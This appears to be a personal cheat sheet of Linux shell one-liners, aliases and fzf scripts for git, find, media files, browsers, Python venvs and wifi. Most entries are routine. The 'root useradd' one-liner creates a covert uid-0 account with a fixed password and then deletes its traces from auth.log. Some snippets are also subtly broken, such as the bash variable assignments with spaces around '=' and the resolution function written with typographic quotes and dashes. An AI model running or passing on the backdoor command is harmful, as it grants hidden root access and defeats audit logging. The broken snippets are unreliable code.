Link to this headingAliases

Link to this headingsystemd

https://github.com/joehillen/sysz

Link to this headingVariables

Defining Network Interfaces:

#!/usr/bin/env bash #Setting up Local IPs for scripts network_interfaces = $(ip addr list | awk -F': ' '/^[0-9]/ {print $2}') local_network_ip4 = $(ip -4 addr list | awk '$1 ~ /^inet/ {print $2}' | cut -d/ -f1 ) local_network_ip6 = $(ip -6 addr list | awk '$1 ~ /^inet6/ {print $2}' | cut -d/ -f1 ) #Setting up Remote IPS for scripts
CategoryEnvironment VariableDefault ValueFHS Approximation
Configuration$XDG_CONFIG_HOME$HOME/.config/etc
DataXDG_DATA_HOME$HOME/.local/share/usr/share
State$XDG_STATE_HOME$HOME/.local/state/var/lib
Cache$XDG_CACHE_HOME$HOME/.cache/var/cache

Link to this headingOneliners

root useradd:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log

List all uid’s and respective group memberships:

for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null

Run Multiple Commands from list

alias linedo="xargs -n1 -d '\n' -I {}" ... cat week_update.txt | linedo ./auto_scanner.sh {}

Recursive Find and Replace:

ag -l pattern | xargs gsed -ri 's|pat(tern)|\1 replace|g'

Pull Photos from Android by Date:

adb shell 'ls /sdcard/DCIM/Camera/PXL_20220511*' | tr -d '\r' | xargs -n1 adb pull

Use cookies for ytdl

yt-dlp --cookies-from-browser firefox --remote-components ejs:github -f "bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best" 'https://www.youtube.com/watch?v=XXX'

Link to this headingGIT

https://bitbucket.org/BitPusher16/dotfiles/raw/49a01d929dcaebcca68bbb1859b4ac1aea93b073/refs/git/git_examples.sh

Aliases in my ~/.gitconfig:

[alias] co = checkout cm = !git add -A && git commit br = branch ci = commit st = status unstage = reset HEAD -- recent = for-each-ref --count=10 --sort=-committerdate refs/heads/ --format="%(refname:short)" overview = log --all --oneline --no-merges recap = !git log --all --oneline --no-merges --author=${1-$(git config user.email)} today = !git log --all --since=00:00:00 --oneline --no-merges --author=${1-$(git config user.email)} changelog = !git log --oneline --no-merges ${1-$(git describe --abbrev=0)}..HEAD upstream = !git log --oneline --no-merges HEAD..${1-$(git branch -lvv | perl -ne '/^\\*.*\\[(.*?)\\]/ and print "$1\n"')} local = !git log --oneline --no-merges ${1-$(git branch -lvv | perl -ne '/^\\*.*\\[(.*?)\\]/ and print "$1\n"')}..HEAD graph = log --oneline --graph --all --decorate --date=iso save = !git add -A && git commit -m 'SAVEPOINT' undo = reset HEAD~1 --mixed backup = !git push origin/backup/$(whoami)/$(git branch) lint = !git branch --merged | grep -v \"^\\s*master$\" | grep -v \"\\*\" | xargs -n 1 git branch -d lg = log --date=format:'%Y-%m-%d %H:%M:%S' --pretty=format:'%cd %<(20,trunc)%an %C(auto)%h%Creset%C(auto)%d%Creset %s'

Update every git repo recursive:

find . -name .git -print -execdir git pull \;

Link to this headingVideo Errors Scripts

Find all video files that have errors in decoding

find . -type f \( -iname "*.mpeg" -o -iname "*.ogm" -o -iname "*.avi" -o -iname "*.m4v" -o -iname "*.mkv" -o -iname "*.mp4" \) -exec bash -c "ffmpeg -v error -i \"{}\" -map 0:1 -f null - 2>\"{}.log\"" \;

Find all files with file extension log that are empty and sort the files

find . -type f -name "*.log" -size +0 | sort

Find all matching file extensions in directory

find . -type f | perl -ne 'print $1 if m/\.([^.\/]+)$/' | sort -u

Delete all matching file extensions in directory

find . -type f -name "*.db" -exec rm {} \;

Link to this headingImage

Convert Nikon Raws to JPEG:

find . -type f \( -iname "*.raw" -o -iname "*.nef" \) -exec sh -c 'darktable-cli {} ${0%.*}.jpg' {} \;

Link to this headingBash

Show what PID is listening on specific port

fuser -v 53/udp

Start screen in detached mode

screen -d -m [<command>]

Select Files with nnn:

ls -l $(nnn -p -)

Link to this headingFind

Remove empty folders:

find /media/data/TV /media/data/MOVIES /media/moredata/MOVIES -depth -empty -type d -exec rmdir {} \;

Disable update urls for all chrome extensions:

find / -iname "manifest.json" -exec sed 's/\"update_url\": \"http/\"update_url\": \"hxxp/g' -i.bak '{}' \;

Find and Display files:

#!/usr/bin/env bash declare preview='bat --color=always --style=header,numbers -H {2} {1} | grep -C3 {q}' while getopts ':l' x; do case "$x" in l) list_files=1 preview='bat --color=always --style=header,numbers {1} | grep -C3 {q}' ;; esac done shift $(( OPTIND - 1 )) unset x OPTARG OPTIND rg --color=always -n ${list_files:+-l} "$1" 2> /dev/null | fzf -d: \ --ansi \ --query="$1" \ --phony \ --bind="change:reload:rg -n ${list_files:+-l} --color=always {q}" \ --bind='enter:execute:v {1}' \ --preview="[[ -n {1} ]] && $preview"

Link to this headingWeb Browsers

Alias Commands:

Firefox Temp Profile:

alias tmp_firefox="firefox --new-instance --profile $(mktemp -d)"

Chromium Temp Profile:

alias tmp_chromium="chromium --user-data-directory $(mktemp -d)"

Align CSV file:

alias csv_align="column -s ',' -t"

Tarzip folder with process bar:

alias progress_tar="tar -cvzf $1 $2 | tqdm --unit_scale --total $(find $2 -type f | wc -l ) > /dev/null"

Link to this headingPython

Switching Virtual Envs:

function activate-venv() { local selected_env selected_env=$(ls ~/.venv/ | fzf) if [ -n "$selected_env" ]; then source "$HOME/.venv/$selected_env/bin/activate" fi }

YAY install and remove packages

# Install packages using yay (change to pacman/AUR helper of your choice) function in() { yay -Slq | fzf -q "$1" -m --preview 'yay -Si {1}'| xargs -ro yay -S } # Remove installed packages (change to pacman/AUR helper of your choice) function re() { yay -Qq | fzf -q "$1" -m --preview 'yay -Qi {1}' | xargs -ro yay -Rns }

Change Resolution:

cr() { xrandr | sed -En “s/^[ ]+([0-9]{3,4}x[0-9]{3,4}0.\*/\1/p” | fzf | xargs -I{} xrandr —output HDMI-0 —mode {} }

Link to this headingWIFI

List and connect to wifi networks:

#!/usr/bin/env bash has() { local verbose=false if [[ $1 == '-v' ]]; then verbose=true shift fi for c in "$@"; do c="${c%% *}" if ! command -v "$c" &> /dev/null; then [[ "$verbose" == true ]] && err "$c not found" return 1 fi done } err() { printf '\e[31m%s\e[0m\n' "$*" >&2 } die() { (( $# > 0 )) && err "$*" exit 1 } has -v nmcli fzf || die nmcli -f 'bssid,signal,bars,freq,ssid' --color yes device wifi | fzf \ --with-nth=2.. \ --ansi \ --height=40% \ --reverse \ --cycle \ --inline-info \ --header-lines=1 \ --bind="enter:execute:nmcli -a device wifi connect {1}"

Link to this headingFile Conversion

pandoc test1.md -f markdown -t html -s -o test1.html